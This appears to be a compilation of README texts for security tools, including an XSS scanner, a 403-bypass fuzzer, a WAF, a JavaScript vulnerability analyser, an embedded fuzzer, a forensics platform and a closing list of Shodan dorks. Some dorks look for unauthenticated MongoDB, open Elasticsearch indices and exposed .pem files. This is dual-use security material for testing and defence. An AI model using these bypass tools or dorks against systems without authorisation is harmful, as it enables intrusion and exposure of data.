-sb 0 Skip domains after this many 403 responses
-proxy Proxy URL (e.g., http://127.0.0.1:8080)
-v Verbose output
-version Show version number
-no-banner Suppress the banner
-api-key KNOXSS API Key (overrides config file)
Test a single URL using GET method:
vulnknox -u "https://example.com/page?param=value"
Test a URL with POST data:
vulnknox -u "https://example.com/submit" -X POST -pd "param1=value1¶m2=value2"
Enable Advanced Filter Bypass and Flash Mode:
vulnknox -u "https://example.com/page?param=value" -afb -flash
Use custom headers (e.g., for authentication):
vulnknox -u "https://example.com/secure" -headers "Cookie:sessionid=abc123"
Process URLs from a file with 5 concurrent processes:
vulnknox -i urls.txt -p 5
Send notifications to Discord on successful XSS findings:
vulnknox -u "https://example.com/page?param=value" -dw "https://discord.com/api/webhooks/your/webhook/url"
Test both GET and POST methods with CheckPoC enabled:
vulnknox -u "https://example.com/page" -X BOTH -checkpoc
Use a proxy and increase the number of retries:
vulnknox -u "https://example.com/page?param=value" -proxy "http://127.0.0.1:8080" -r 5
Suppress the banner and only show successful XSS payloads:
vulnknox -u "https://example.com/page?param=value" -no-banner -s
[ XSS! ]: Indicates a successful XSS payload was found.
[ SAFE ]: No XSS vulnerability was found in the target.
[ ERR! ]: An error occurred during the request.
[ SKIP ]: The domain or URL was skipped due to multiple failed attempts (e.g., after receiving too many 403 Forbidden responses as specified by the -sb option).
[BALANCE]: Indicates your current API usage with KNOXSS, showing how many API calls you've used out of your total allowance.
The tool also provides a summary at the end of execution, including the number of requests made, successful XSS findings, safe responses, errors, and any skipped domains.
Contributions are welcome! If you have suggestions for improvements or encounter any issues, please open an issue or submit a pull request.
This project is licensed under the MIT License.
SafeLine is a self-hosted WAF(Web Application Firewall) to protect your web apps from attacks and exploits.
A web application firewall helps protect web apps by filtering and monitoring HTTP traffic between a web application and the Internet. It typically protects web apps from attacks such as SQL injection, XSS, code injection, os command injection, CRLF injection, ldap injection, xpath injection, RCE, XXE, SSRF, path traversal, backdoor, bruteforce, http-flood, bot abused, among others.
By deploying a WAF in front of a web application, a shield is placed between the web application and the Internet. While a proxy server protects a client machine's identity by using an intermediary, a WAF is a type of reverse-proxy, protecting the server from exposure by having clients pass through the WAF before reaching the server.
A WAF protects your web apps by filtering, monitoring, and blocking any malicious HTTP/S traffic traveling to the web application, and prevents any unauthorized data from leaving the app. It does this by adhering to a set of policies that help determine what traffic is malicious and what traffic is safe. Just as a proxy server acts as an intermediary to protect the identity of a client, a WAF operates in similar fashion but acting as an reverse proxy intermediary that protects the web app server from a potentially malicious client.
its core capabilities include:
Get Live Demo
List of the main features as follows:
Block Web AttacksSQL injection, XSS, code injection, os command injection, CRLF injection, XXE, SSRF, path traversal and so on.Rate LimitingDoS attacks, bruteforce attempts, traffic surges, and other types of abuse by throttling traffic that exceeds defined limits.Anti-Bot Challengebot attacks, humen users will be allowed, crawlers and bots will be blocked.Authentication ChallengeDynamic Protection
An open-source, prototype implementation of property graphs for JavaScript based on the esprima parser, and the EsTree SpiderMonkey Spec. JAW can be used for analyzing the client-side of web applications and JavaScript-based programs.
This project is licensed under GNU AFFERO GENERAL PUBLIC LICENSE V3.0. See here for more information.
JAW has a Github pages website available at https://soheilkhodayari.github.io/JAW/.
Release Notes:
JAW-V2 branch.JAW-V1 branch.The architecture of the JAW is shown below.
JAW can be used in two distinct ways:
Arbitrary JavaScript Analysis: Utilize JAW for modeling and analyzing any JavaScript program by specifying the program's file system path.
Web Application Analysis: Analyze a web application by providing a single seed URL.
Use the collected web resources to create a Hybrid Program Graph (HPG), which will be imported into a Neo4j database.
Optionally, supply the HPG construction module with a mapping of semantic types to custom JavaScript language tokens, facilitating the categorization of JavaScript functions based on their purpose (e.g., HTTP request functions).
Query the constructed Neo4j graph database for various analyses. JAW offers utility traversals for data flow analysis, control flow analysis, reachability analysis, and pattern matching. These traversals can be used to develop custom security analyses.
JAW also includes built-in traversals for detecting client-side CSRF, DOM Clobbering and request hijacking vulnerabilities.
The outputs will be stored in the same folder as that of input.
The installation script relies on the following prerequisites: - Latest version of npm package manager (node js) - Any stable version of python 3.x - Python pip package manager
Afterwards, install the necessary dependencies via:
$ ./install.sh
For detailed installation instructions, please see here.
You can run an instance of the pipeline in a background screen via:
$ python3 -m run_pipeline --conf=config.yaml
The CLI provides the following options:
$ python3 -m run_pipeline -h
usage: run_pipeline.py [-h] [--conf FILE] [--site SITE] [--list LIST] [--from FROM] [--to TO]
This script runs the tool pipeline.
optional arguments:
-h, --help show this help message and exit
--conf FILE, -C FILE pipeline configuration file. (default: config.yaml)
--site SITE, -S SITE website to test; overrides config file (default: None)
--list LIST, -L LIST site list to test; overrides config file (default: None)
--from FROM, -F FROM the first entry to consider when a site list is provided; overrides config file (default: -1)
--to TO, -T TO the last entry to consider when a site list is provided; overrides config file (default: -1)
Input Config: JAW expects a .yaml config file as input. See config.yaml for an example.
Hint. The config file specifies different passes (e.g., crawling, static analysis, etc) which can be enabled or disabled for each vulnerability class. This allows running the tool building blocks individually, or in a different order (e.g., crawl all webapps first, then conduct security analysis).
For running a quick example demonstrating how to build a property graph and run Cypher queries over it, do:
$ python3 -m analyses.example.example_analysis --input=$(pwd)/data/test_program/test.js
This module collects the data (i.e., JavaScript code and state values of web pages) needed for testing. If you want to test a specific JavaScipt file that you already have on your file system, you can skip this step.
JAW has crawlers based on Selenium (JAW-v1), Puppeteer (JAW-v2, v3) and Playwright (JAW-v3). For most up-to-date features, it is recommended to use the Puppeteer- or Playwright-based versions.
This web crawler employs foxhound, an instrumented version of Firefox, to perform dynamic taint tracking as it navigates through webpages. To start the crawler, do:
$ cd crawler
$ node crawler-taint.js --seedurl=https://google.com --maxurls=100 --headless=true --foxhoundpath=<optional-foxhound-executable-path>
The foxhoundpath is by default set to the following directory: crawler/foxhound/firefox which contains a binary named firefox.
Note: you need a build of foxhound to use this version. An ubuntu build is included in the JAW-v3 release.
To start the crawler, do:
$ cd crawler
$ node crawler.js --seedurl=https://google.com --maxurls=100 --browser=chrome --headless=true
See here for more information.
To start the crawler, do:
$ cd crawler/hpg_crawler
$ vim docker-compose.yaml # set the websites you want to crawl here and save
$ docker-compose build
$ docker-compose up -d
Please refer to the documentation of the hpg_crawler here for more information.
To generate an HPG for a given (set of) JavaScript file(s), do:
$ node engine/cli.js --lang=js --graphid=graph1 --input=/in/file1.js --input=/in/file2.js --output=$(pwd)/data/out/ --mode=csv
optional arguments:
--lang: language of the input program
--graphid: an identifier for the generated HPG
--input: path of the input program(s)
--output: path of the output HPG, must be i
--mode: determines the output format (csv or graphML)
To import an HPG inside a neo4j graph database (docker instance), do:
$ python3 -m hpg_neo4j.hpg_import --rpath=<path-to-the-folder-of-the-csv-files> --id=<xyz> --nodes=<nodes.csv> --edges=<rels.csv>
$ python3 -m hpg_neo4j.hpg_import -h
usage: hpg_import.py [-h] [--rpath P] [--id I] [--nodes N] [--edges E]
This script imports a CSV of a property graph into a neo4j docker database.
optional arguments:
-h, --help show this help message and exit
--rpath P relative path to the folder containing the graph CSV files inside the `data` directory
--id I an identifier for the graph or docker container
--nodes N the name of the nodes csv file (default: nodes.csv)
--edges E the name of the relations csv file (default: rels.csv)
In order to create a hybrid property graph for the output of the hpg_crawler and import it inside a local neo4j instance, you can also do:
$ python3 -m engine.api <path> --js=<program.js> --import=<bool> --hybrid=<bool> --reqs=<requests.out> --evts=<events.out> --cookies=<cookies.pkl> --html=<html_snapshot.html>
Specification of Parameters:
<path>: absolute path to the folder containing the program files for analysis (must be under the engine/outputs folder).--js=<program.js>: name of the JavaScript program for analysis (default: js_program.js).--import=<bool>: whether the constructed property graph should be imported to an active neo4j database (default: true).--hybrid=bool: whether the hybrid mode is enabled (default: false). This implies that the tester wants to enrich the property graph by inputing files for any of the HTML snapshot, fired events, HTTP requests and cookies, as collected by the JAW crawler.--reqs=<requests.out>: for hybrid mode only, name of the file containing the sequence of obsevered network requests, pass the string false to exclude (default: request_logs_short.out).--evts=<events.out>: for hybrid mode only, name of the file containing the sequence of fired events, pass the string false to exclude (default: events.out).--cookies=<cookies.pkl>: for hybrid mode only, name of the file containing the cookies, pass the string false to exclude (default: cookies.pkl).--html=<html_snapshot.html>: for hybrid mode only, name of the file containing the DOM tree snapshot, pass the string false to exclude (default: html_rendered.html).For more information, you can use the help CLI provided with the graph construction API:
$ python3 -m engine.api -h
The constructed HPG can then be queried using Cypher or the NeoModel ORM.
You should place and run your queries in analyses/<ANALYSIS_NAME>.
You can use the NeoModel ORM to query the HPG. To write a query:
example_query_orm.py in the analyses/example folder.$ python3 -m analyses.example.example_query_orm
For more information, please see here.
You can use Cypher to write custom queries. For this:
example_query_cypher.py in the analyses/example folder.$ python3 -m analyses.example.example_query_cypher
For more information, please see here.
This section describes how to configure and use JAW for vulnerability detection, and how to interpret the output. JAW contains, among others, self-contained queries for detecting client-side CSRF and DOM Clobbering
Step 1. enable the analysis component for the vulnerability class in the input config.yaml file:
request_hijacking:
enabled: true
# [...]
#
domclobbering:
enabled: false
# [...]
cs_csrf:
enabled: false
# [...]
Step 2. Run an instance of the pipeline with:
$ python3 -m run_pipeline --conf=config.yaml
Hint. You can run multiple instances of the pipeline under different screens:
$ screen -dmS s1 bash -c 'python3 -m run_pipeline --conf=conf1.yaml; exec sh'
$ screen -dmS s2 bash -c 'python3 -m run_pipeline --conf=conf2.yaml; exec sh'
$ # [...]
To generate parallel configuration files automatically, you may use the generate_config.py script.
The outputs will be stored in a file called sink.flows.out in the same folder as that of the input. For Client-side CSRF, for example, for each HTTP request detected, JAW outputs an entry marking the set of semantic types (a.k.a, semantic tags or labels) associated with the elements constructing the request (i.e., the program slices). For example, an HTTP request marked with the semantic type ['WIN.LOC'] is forgeable through the window.location injection point. However, a request marked with ['NON-REACH'] is not forgeable.
An example output entry is shown below:
[*] Tags: ['WIN.LOC']
[*] NodeId: {'TopExpression': '86', 'CallExpression': '87', 'Argument': '94'}
[*] Location: 29
[*] Function: ajax
[*] Template: ajaxloc + "/bearer1234/"
[*] Top Expression: $.ajax({ xhrFields: { withCredentials: "true" }, url: ajaxloc + "/bearer1234/" })
1:['WIN.LOC'] variable=ajaxloc
0 (loc:6)- var ajaxloc = window.location.href
This entry shows that on line 29, there is a $.ajax call expression, and this call expression triggers an ajax request with the url template value of ajaxloc + "/bearer1234/, where the parameter ajaxloc is a program slice reading its value at line 6 from window.location.href, thus forgeable through ['WIN.LOC'].
In order to streamline the testing process for JAW and ensure that your setup is accurate, we provide a simple node.js web application which you can test JAW with.
First, install the dependencies via:
$ cd tests/test-webapp
$ npm install
Then, run the application in a new screen:
$ screen -dmS jawwebapp bash -c 'PORT=6789 npm run devstart; exec sh'
For more information, visit our wiki page here. Below is a table of contents for quick access.
Pull requests are always welcomed. This project is intended to be a safe, welcoming space, and contributors are expected to adhere to the contributor code of conduct.
If you use the JAW for academic research, we encourage you to cite the following paper:
@inproceedings{JAW,
title = {JAW: Studying Client-side CSRF with Hybrid Property Graphs and Declarative Traversals},
author= {Soheil Khodayari and Giancarlo Pellegrino},
booktitle = {30th {USENIX} Security Symposium ({USENIX} Security 21)},
year = {2021},
address = {Vancouver, B.C.},
publisher = {{USENIX} Association},
}
JAW has come a long way and we want to give our contributors a well-deserved shoutout here!
@tmbrbr, @c01gide, @jndre, and Sepehr Mirzaei.
The original 403fuzzer.py :)
Fuzz 401/403ing endpoints for bypasses
This tool performs various checks via headers, path normalization, verbs, etc. to attempt to bypass ACL's or URL validation.
It will output the response codes and length for each request, in a nicely organized, color coded way so things are reaable.
I implemented a "Smart Filter" that lets you mute responses that look the same after a certain number of times.
You can now feed it raw HTTP requests that you save to a file from Burp.
usage: bypassfuzzer.py -h
Simply paste the request into a file and run the script!
- It will parse and use cookies & headers from the request. - Easiest way to authenticate for your requests
python3 bypassfuzzer.py -r request.txt
Specify a URL
python3 bypassfuzzer.py -u http://example.com/test1/test2/test3/forbidden.html
Specify cookies to use in requests:
some examples:
--cookies "cookie1=blah"
-c "cookie1=blah; cookie2=blah"
Specify a method/verb and body data to send
bypassfuzzer.py -u https://example.com/forbidden -m POST -d "param1=blah¶m2=blah2"
bypassfuzzer.py -u https://example.com/forbidden -m PUT -d "param1=blah¶m2=blah2"
Specify custom headers to use with every request Maybe you need to add some kind of auth header like Authorization: bearer <token>
Specify -H "header: value" for each additional header you'd like to add:
bypassfuzzer.py -u https://example.com/forbidden -H "Some-Header: blah" -H "Authorization: Bearer 1234567"
Based on response code and length. If it sees a response 8 times or more it will automatically mute it.
Repeats are changeable in the code until I add an option to specify it in flag
NOTE: Can't be used simultaneously with -hc or -hl (yet)
# toggle smart filter on
bypassfuzzer.py -u https://example.com/forbidden --smart
Useful if you wanna proxy through Burp
bypassfuzzer.py -u https://example.com/forbidden --proxy http://127.0.0.1:8080
# skip sending headers payloads
bypassfuzzer.py -u https://example.com/forbidden -sh
bypassfuzzer.py -u https://example.com/forbidden --skip-headers
# Skip sending path normailization payloads
bypassfuzzer.py -u https://example.com/forbidden -su
bypassfuzzer.py -u https://example.com/forbidden --skip-urls
Provide comma delimited lists without spaces. Examples:
# Hide response codes
bypassfuzzer.py -u https://example.com/forbidden -hc 403,404,400
# Hide response lengths of 638
bypassfuzzer.py -u https://example.com/forbidden -hl 638
Automate the process of analyzing web server logs with the Python Web Log Analyzer. This powerful tool is designed to enhance security by identifying and detecting various types of cyber attacks within your server logs. Stay ahead of potential threats with features that include:
Attack Detection: Identify and flag potential Cross-Site Scripting (XSS), Local File Inclusion (LFI), Remote File Inclusion (RFI), and other common web application attacks.
Rate Limit Monitoring: Detect suspicious patterns in multiple requests made in a short time frame, helping to identify brute-force attacks or automated scanning tools.
Automated Scanner Detection: Keep your web applications secure by identifying requests associated with known automated scanning tools or vulnerability scanners.
User-Agent Analysis: Analyze and identify potentially malicious User-Agent strings, allowing you to spot unusual or suspicious behavior.
This project is actively developed, and future features may include:
The tool only requires Python 3 at the moment.
After cloning the repository to your local machine, you can initiate the application by executing the command python3 WLA-cli.py. simple usage example : python3 WLA-cli.py -l LogSampls/access.log -t
use -h or --help for more detailed usage examples : python3 WLA-cli.py -h
linkdin:(https://www.linkedin.com/in/oudjani-seyyid-taqy-eddine-b964a5228)
This is the companion code for the paper: 'Fuzzing Embedded Systems using Debugger Interfaces'. A preprint of the paper can be found here https://publications.cispa.saarland/3950/. The code allows the users to reproduce and extend the results reported in the paper. Please cite the above paper when reporting, reproducing or extending the results.
.
├── benchmark # Scripts to build Google's fuzzer test suite and run experiments
├── dependencies # Contains a Makefile to install dependencies for GDBFuzz
├── evaluation # Raw exeriment data, presented in the paper
├── example_firmware # Embedded example applications, used for the evaluation
├── example_programs # Contains a compiled example program and configs to test GDBFuzz
├── src # Contains the implementation of GDBFuzz
├── Dockerfile # For creating a Docker image with all GDBFuzz dependencies installed
├── LICENSE # License
├── Makefile # Makefile for creating the docker image or install GDBFuzz locally
└── README.md # This README file
The idea of GDBFuzz is to leverage hardware breakpoints from microcontrollers as feedback for coverage-guided fuzzing. Therefore, GDB is used as a generic interface to enable broad applicability. For binary analysis of the firmware, Ghidra is used. The code contains a benchmark setup for evaluating the method. Additionally, example firmware files are included.
GDBFuzz enables coverage-guided fuzzing for embedded systems, but - for evaluation purposes - can also fuzz arbitrary user applications. For fuzzing on microcontrollers we recommend a local installation of GDBFuzz to be able to send fuzz data to the device under test flawlessly.
GDBFuzz has been tested on Ubuntu 20.04 LTS and Raspberry Pie OS 32-bit. Prerequisites are java and python3. First, create a new virtual environment and install all dependencies.
virtualenv .venv
source .venv/bin/activate
make
chmod a+x ./src/GDBFuzz/main.py
GDBFuzz reads settings from a config file with the following keys.
[SUT]
# Path to the binary file of the SUT.
# This can, for example, be an .elf file or a .bin file.
binary_file_path = <path>
# Address of the root node of the CFG.
# Breakpoints are placed at nodes of this CFG.
# e.g. 'LLVMFuzzerTestOneInput' or 'main'
entrypoint = <entrypoint>
# Number of inputs that must be executed without a breakpoint hit until
# breakpoints are rotated.
until_rotate_breakpoints = <number>
# Maximum number of breakpoints that can be placed at any given time.
max_breakpoints = <number>
# Blacklist functions that shall be ignored.
# ignore_functions is a space separated list of function names e.g. 'malloc free'.
ignore_functions = <space separated list>
# One of {Hardware, QEMU, SUTRunsOnHost}
# Hardware: An external component starts a gdb server and GDBFuzz can connect to this gdb server.
# QEMU: GDBFuzz starts QEMU. QEMU emulates binary_file_path and starts gdbserver.
# SUTRunsOnHost: GDBFuzz start the target program within GDB.
target_mode = <mode>
# Set this to False if you want to start ghidra, analyze the SUT,
# and start the ghidra bridge server manually.
start_ghidra = True
# Space separated list of addresses where software breakpoints (for error
# handling code) are set. Execution of those is considered a crash.
# Example: software_breakpoint_addresses = 0x123 0x432
software_breakpoint_addresses =
# Whether all triggered software breakpoints are considered as crash
consider_sw_breakpoint_as_error = False
[SUTConnection]
# The class 'SUT_connection_class' in file 'SUT_connection_path' implements
# how inputs are sent to the SUT.
# Inputs can, for example, be sent over Wi-Fi, Serial, Bluetooth, ...
# This class must inherit from ./connections/SUTConnection.py.
# See ./connections/SUTConnection.py for more information.
SUT_connection_file = FIFOConnection.py
[GDB]
path_to_gdb = gdb-multiarch
#Written in address:port
gdb_server_address = localhost:4242
[Fuzzer]
# In Bytes
maximum_input_length = 100000
# In seconds
single_run_timeout = 20
# In seconds
total_runtime = 3600
# Optional
# Path to a directory where each file contains one seed. If you don't want to
# use seeds, leave the value empty.
seeds_directory =
[BreakpointStrategy]
# Strategies to choose basic blocks are located in
# 'src/GDBFuzz/breakpoint_strategies/'
# For the paper we use the following strategies
# 'RandomBasicBlockStrategy.py' - Randomly choosing unreached basic blocks
# 'RandomBasicBlockNoDomStrategy.py' - Like previous, but doesn't use dominance relations to derive transitively reached nodes.
# 'RandomBasicBlockNoCorpusStrategy.py' - Like first, but prevents growing the input corpus and therefore behaves like blackbox fuzzing with coverage measurement.
# 'BlackboxStrategy.py', - Doesn't set any breakpoints
breakpoint_strategy_file = RandomBasicBlockStrategy.py
[Dependencies]
path_to_qemu = dependencies/qemu/build/x86_64-linux-user/qemu-x86_64
path_to_ghidra = dependencies/ghidra
[LogsAndVisualizations]
# One of {DEBUG, INFO, WARNING, ERROR, CRITICAL}
loglevel = INFO
# Path to a directory where output files (e.g. graphs, logfiles) are stored.
output_directory = ./output
# If set to True, an MQTT client sends UI elements (e.g. graphs)
enable_UI = False
An example config file is located in ./example_programs/ together with an example program that was compiled using our fuzzing harness in benchmark/benchSUTs/GDBFuzz_wrapper/common/. Start fuzzing for one hour with the following command.
chmod a+x ./example_programs/json-2017-02-12
./src/GDBFuzz/main.py --config ./example_programs/fuzz_json.cfg
We first see output from Ghidra analyzing the binary executable and susequently messages when breakpoints are relocated or hit.
Depending on the specified output_directory in the config file, there should now be a folder trial-0 with the following structure
.
├── corpus # A folder that contains the input corpus.
├── crashes # A folder that contains crashing inputs - if any.
├── cfg # The control flow graph as adjacency list.
├── fuzzer_stats # Statistics of the fuzzing campaign.
├── plot_data # Table showing at which relative time in the fuzzing campaign which basic block was reached.
├── reverse_cfg # The reverse control flow graph.
By setting start_ghidra = False in the config file, GDBFuzz connects to a Ghidra instance running in GUI mode. Therefore, the ghidra_bridge plugin needs to be started manually from the script manager. During fuzzing, reached program blocks are highlighted in green.
For fuzzing on Linux user applications, GDBFuzz leverages the standard LLVMFuzzOneInput entrypoint that is used by almost all fuzzers like AFL, AFL++, libFuzzer,.... In benchmark/benchSUTs/GDBFuzz_wrapper/common There is a wrapper that can be used to compile any compliant fuzz harness into a standalone program that fetches input via a named pipe at /tmp/fromGDBFuzz. This allows to simulate an embedded device that consumes data via a well defined input interface and therefore run GDBFuzz on any application. For convenience we created a script in benchmark/benchSUTs that compiles all programs from our evaluation with our wrapper as explained later.
NOTE: GDBFuzz is not intended to fuzz Linux user applications. Use AFL++ or other fuzzers therefore. The wrapper just exists for evaluation purposes to enable running benchmarks and comparisons on a scale!
The general effectiveness of our approach is shown in a large scale benchmark deployed as docker containers.
make dockerimage
To run the above experiment in the docker container (for one hour as specified in the config file), map the example_programsand output folder as volumes and start GDBFuzz as follows.
chmod a+x ./example_programs/json-2017-02-12
docker run -it --env CONFIG_FILE=/example_programs/fuzz_json_docker_qemu.cfg -v $(pwd)/example_programs:/example_programs -v $(pwd)/output:/output gdbfuzz:1.0
An output folder should appear in the current working directory with the structure explained above.
Our evaluation is split in two parts. 1. GDBFuzz on its intended setup, directly on the hardware. 2. GDBFuzz in an emulated environment to allow independend analysis and comparisons of the results.
GDBFuzz can work with any GDB server and therefore most debug probes for microcontrollers.
Regarding RQ1 from the paper, we execute GDBFuzz on different microcontrollers with different firmwares located in example_firmware. For each experiment we run GDBFuzz with the RandomBasicBlock and with the RandomBasicBlockNoCorpus strategy. The latter behaves like fuzzing without feedback, but we can still measure the achieved coverage. For answering RQ1, we compare the achieved coverage of the RandomBasicBlock and the RandomBasicBlockNoCorpus strategy. Respective config files are in the corresponding subfolders and we now explain how to setup fuzzing on the four development boards.
GDBFuzz requires access to a GDB Server. In this case the B-L4S5I-IOT01A and its on-board debugger are used. This on-board debugger sets up a GDB server via the 'st-util' program, and enables access to this GDB server via localhost:4242.
sudo apt-get install stlink-tools gdb-multiarch
Build and flash a firmware for the STM32 B-L4S5I-IOT01A, for example the arduinojson project.
Prerequisite: Install platformio (pio)
cd ./example_firmware/stm32_disco_arduinojson/
pio run --target upload
For your info: platformio stored an .elf file of the SUT here: ./example_firmware/stm32_disco_arduinojson/.pio/build/disco_l4s5i_iot01a/firmware.elf This .elf file is also later used in the user configuration for Ghidra.
Start a new terminal, and run the following to start the a GDB Server:
st-util
Run GDBFuzz with a user configuration for arduinojson. We can send data over the usb port to the microcontroller. The microcontroller forwards this data via serial to the SUT'. In our case /dev/ttyACM0 is the USB device to the microcontroller board. If your system assigned another device to the microcontroller board, change /dev/ttyACM0 in the config file to your device.
./src/GDBFuzz/main.py --config ./example_firmware/stm32_disco_arduinojson/fuzz_serial_json.cfg
Fuzzer statistics and logs are in the ./output/... directory.
Install pyocd:
pip install --upgrade pip 'mbed-ls>=1.7.1' 'pyocd>=0.16'
Make sure that 'KitProg v3' is on the device and put Board into 'Arm DAPLink' Mode by pressing the appropriate button. Start the GDB server:
pyocd gdbserver --persist
Flash a firmware and start fuzzing e.g. with
gdb-multiarch
target remote :3333
load ./example_firmware/CY8CKIT_json/mtb-example-psoc6-uart-transmit-receive.elf
monitor reset
./src/GDBFuzz/main.py --config ./example_firmware/CY8CKIT_json/fuzz_serial_json.cfg
Build and flash a firmware for the ESP32, for instance the arduinojson example with platformio.
cd ./example_firmware/esp32_arduinojson/
pio run --target upload
Add following line to the openocd config file for the J-Link debugger: jlink.cfg
adapter speed 10000
Start a new terminal, and run the following to start the GDB Server:
get_idf
openocd -f interface/jlink.cfg -f target/esp32.cfg -c "telnet_port 7777" -c "gdb_port 8888"
Run GDBFuzz with a user configuration for arduinojson. We can send data over the usb port to the microcontroller. The microcontroller forwards this data via serial to the SUT'. In our case /dev/ttyUSB0 is the USB device to the microcontroller board. If your system assigned another device to the microcontroller board, change /dev/ttyUSB0 in the config file to your device.
./src/GDBFuzz/main.py --config ./example_firmware/esp32_arduinojson/fuzz_serial.cfg
Fuzzer statistics and logs are in the ./output/... directory.
Install TI MSP430 GCC from https://www.ti.com/tool/MSP430-GCC-OPENSOURCE
Start GDB Server
./gdb_agent_console libmsp430.so
or (more stable). Build mspdebug from https://github.com/dlbeer/mspdebug/ and use:
until mspdebug --fet-skip-close --force-reset tilib "opt gdb_loop True" gdb ; do sleep 1 ; done
Ghidra fails to analyze binaries for the TI MSP430 controller out of the box. To fix that, we import the file in the Ghidra GUI, choose MSP430X as architecture and skip the auto analysis. Next, we open the 'Symbol Table', sort them by name and delete all symbols with names like $C$L*. Now the auto analysis can be executed. After analysis, start the ghidra bridge from the Ghidra GUI manually and then start GDBFuzz.
./src/GDBFuzz/main.py --config ./example_firmware/msp430_arduinojson/fuzz_serial.cfg
To access USB devices as non-root user with pyusb we add appropriate rules to udev. Paste following lines to /etc/udev/rules.d/50-myusb.rules:
SUBSYSTEM=="usb", ATTRS{idVendor}=="1234", ATTRS{idProduct}=="5678" GROUP="usbusers", MODE="666"
Reload udev:
sudo udevadm control --reload
sudo udevadm trigger
In RQ2 from the paper, we compare GDBFuzz against the emulation based approach Fuzzware. First we execute GDBFuzz and Fuzzware as described previously on the shipped firmware files. For each GDBFuzz experiment, we create a file with valid basic blocks from the control flow graph files as follows:
cut -d " " -f1 ./cfg > valid_bbs.txt
Now we can replay coverage against fuzzware result fuzzware genstats --valid-bb-file valid_bbs.txt
When crashing or hanging inputs are found, the are stored in the crashes folder. During evaluation, we found the following three bugs:
GDBFuzz can also run on a Raspberry Pi host with slight modifications:
In file ./dependencies/ghidra/support/launch.sh:125 The JAVA_HOME variable must be hardcoded therefore e.g. to JAVA_HOME="/usr/lib/jvm/default-java"
To fuzz software on other boards, GDBFuzz requires
src/GDBFuzz/connections) that triggers execution of the code at the entry point e.g. serial connectionAll these properties need to be specified in the config file.
For RQ's 4 - 8 we run a large scale benchmark. First, build the Docker image as described previously and compile applications from Google's Fuzzer Test Suite with our fuzzing harness in benchmark/benchSUTs/GDBFuzz_wrapper/common.
cd ./benchmark/benchSUTs
chmod a+x setup_benchmark_SUTs.py
make dockerbenchmarkimage
Next adopt the benchmark settings in benchmark/scripts/benchmark.py and benchmark/scripts/benchmark_aflpp.py to your demands (especially number_of_cores, trials, and seconds_per_trial) and start the benchmark with:
cd ./benchmark/scripts
./benchmark.py $(pwd)/../benchSUTs/SUTs/ SUTs.json
./benchmark_aflpp.py $(pwd)/../benchSUTs/SUTs/ SUTs.json
A folder appears in ./benchmark/scripts that contains plot files (coverage over time), fuzzer statistic files, and control flow graph files for each experiment as in evaluation/fuzzer_test_suite_qemu_runs.
GDBFuzz has an optional feature where it plots the control flow graph of covered nodes. This is disabled by default. You can enable it by following the instructions of this section and setting 'enable_UI' to 'True' in the user configuration.
On the host:
Install
sudo apt-get install graphviz
Install a recent version of node, for example Option 2 from here. Use Option 2 and not option 1. This should install both node and npm. For reference, our version numbers are (but newer versions should work too):
➜ node --version
v16.9.1
➜ npm --version
7.21.1
Install web UI dependencies:
cd ./src/webui
npm install
Install mosquitto MQTT broker, e.g. see here
Update the mosquitto broker config: Replace the file /etc/mosquitto/conf.d/mosquitto.conf with the following content:
listener 1883
allow_anonymous true
listener 9001
protocol websockets
Restart the mosquitto broker:
sudo service mosquitto restart
Check that the mosquitto broker is running:
sudo service mosquitto status
The output should include the text 'Active: active (running)'
Start the web UI:
cd ./src/webui
npm start
Your web browser should open automatically on 'http://localhost:3000/'.
Start GDBFuzz and use a user config file where enable_UI is set to True. You can use the Docker container and arduinojson SUT from above. But make sure to set 'enable_UI' to 'True'.
The nodes covered in 'blue' are covered. White nodes are not covered. We only show uncovered nodes if their parent is covered (drawing the complete control flow graph takes too much time if the control flow graph is large).
VolWeb is a digital forensic memory analysis platform that leverages the power of the Volatility 3 framework. It is dedicated to aiding in investigations and incident responses.
The goal of VolWeb is to enhance the efficiency of memory collection and forensic analysis by providing a centralized, visual, and enhanced web application for incident responders and digital forensics investigators. Once an investigator obtains a memory image from a Linux or Windows system, the evidence can be uploaded to VolWeb, which triggers automatic processing and extraction of artifacts using the power of the Volatility 3 framework.
By utilizing cloud-native storage technologies, VolWeb also enables incident responders to directly upload memory images into the VolWeb platform from various locations using dedicated scripts interfaced with the platform and maintained by the community. Another goal is to allow users to compile technical information, such as Indicators, which can later be imported into modern CTI platforms like OpenCTI, thereby connecting your incident response and CTI teams after your investigation.
The project documentation is available on the Wiki. There, you will be able to deploy the tool in your investigation environment or lab.
[!IMPORTANT] Take time to read the documentation in order to avoid common miss-configuration issues.
VolWeb exposes a REST API to allow analysts to interact with the platform. There is a dedicated repository proposing some scripts maintained by the community: https://github.com/forensicxlab/VolWeb-Scripts Check the wiki of the project to learn more about the possible API calls.
If you have encountered a bug, or wish to propose a feature, please feel free to open an issue. To enable us to quickly address them, follow the guide in the "Contributing" section of the Wiki associated with the project.
Contact me at k1nd0ne@mail.com for any questions regarding this tool.
Check out the roadmap: https://github.com/k1nd0ne/VolWeb/projects/1
Feel free to make suggestions
Find devices in a particular city. city:"Bangalore"
Find devices in a particular country. country:"IN"
Find devices by giving geographical coordinates. geo:"56.913055,118.250862"
country:us country:ru country:de city:chicago
Find devices matching the hostname. server: "gws" hostname:"google" hostname:example.com -hostname:subdomain.example.com hostname:example.com,example.org
Find devices based on an IP address or /x CIDR. net:210.214.0.0/16
org:microsoft org:"United States Department"
asn:ASxxxx
Find devices based on operating system. os:"windows 7"
Find devices based on open ports. proftpd port:21
Find devices before or after between a given time. apache after:22/02/2009 before:14/3/2010
Self signed certificates ssl.cert.issuer.cn:example.com ssl.cert.subject.cn:example.com
Expired certificates ssl.cert.expired:true
ssl.cert.subject.cn:example.com
device:firewall device:router device:wap device:webcam device:media device:"broadband router" device:pbx device:printer device:switch device:storage device:specialized device:phone device:"voip" device:"voip phone" device:"voip adaptor" device:"load balancer" device:"print server" device:terminal device:remote device:telecom device:power device:proxy device:pda device:bridge
os:"windows 7" os:"windows server 2012" os:"linux 3.x"
product:apache product:nginx product:android product:chromecast
cpe:apple cpe:microsoft cpe:nginx cpe:cisco
server: nginx server: apache server: microsoft server: cisco-ios
dc:14:de:8e:d7:c1:15:43:23:82:25:81:d2:59:e8:c0
http.html:/dana-na
http.title:"Index of /" http.html:".pem"
onion-location
"product:MySQL" mysql port:"3306"
"product:MongoDB" mongodb port:27017
"MongoDB Server Information { "metrics":" "Set-Cookie: mongo-express=" "200 OK" "MongoDB Server Information" port:27017 -authentication
kibana content-legth:217
port:9200 json port:"9200" all:elastic port:"9200" all:"elastic indices"
"product:Memcached"
